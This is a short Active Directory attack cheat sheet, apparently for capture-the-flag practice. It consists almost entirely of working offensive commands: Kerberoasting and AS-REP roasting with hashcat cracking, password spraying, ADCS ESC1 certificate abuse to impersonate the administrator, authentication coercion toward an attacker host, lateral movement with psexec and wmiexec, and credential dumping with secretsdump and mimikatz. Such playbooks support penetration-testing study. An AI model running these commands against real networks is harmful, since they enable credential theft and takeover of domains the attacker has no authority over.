active-directory::ctf

# netexec (nxc) — crackmapexec is deprecated/unmaintained
netexec smb dc -u user -p pass --shares
rpcclient -U 'user%pass' dc
smbclient -L //dc -U user
ldapsearch -x -H ldap://dc -D 'user@dom.local' -w pass -b 'DC=dom,DC=local'

GetUserSPNs.py dom.local/user:pass -dc-ip dc -request
GetNPUsers.py dom.local/ -usersfile users.txt -dc-ip dc -no-pass
hashcat -m 13100 kerb.txt wordlist
hashcat -m 18200 asrep.txt wordlist

bloodhound-python -u user -p pass -d dom.local -c All -ns dc
# then inspect:
- GenericAll / GenericWrite
- ForceChangePassword
- AddMember
- RBCD / delegation
- DCSync rights

netexec smb targets.txt -u users.txt -p 'Winter2024!' --continue-on-success
# keep attempts low; respect lockout in real envs

# Enumerate CA + find vulnerable templates (ESC1-16)
certipy find -u user@dom.local -p pass -dc-ip dc -vulnerable -stdout
# ESC1: request cert with arbitrary SAN → auth as that user
certipy req -u user@dom.local -p pass -ca CA-NAME \
   -template VulnTmpl -upn administrator@dom.local
certipy auth -pfx administrator.pfx -dc-ip dc   # → TGT + NT hash
# Related
bloodyAD --host dc -d dom.local -u user -p pass get writable
Coercer coerce -t dc -l attacker   # PetitPotam / auth coercion

evil-winrm -i host -u user -p pass
psexec.py dom.local/user:pass@host
wmiexec.py dom.local/user:pass@host
smbexec.py dom.local/user:pass@host

secretsdump.py dom.local/user:pass@dc
klist
Rubeus triage
mimikatz 'sekurlsa::logonpasswords'

# common CTF goal: get admin hash or flag from DC/share

- forgetting the domain format user@domain or DOMAIN\user
- not syncing time for Kerberos
- assuming SMB only; try WinRM / LDAP / RPC too
- ignoring machine accounts and gMSA-related leads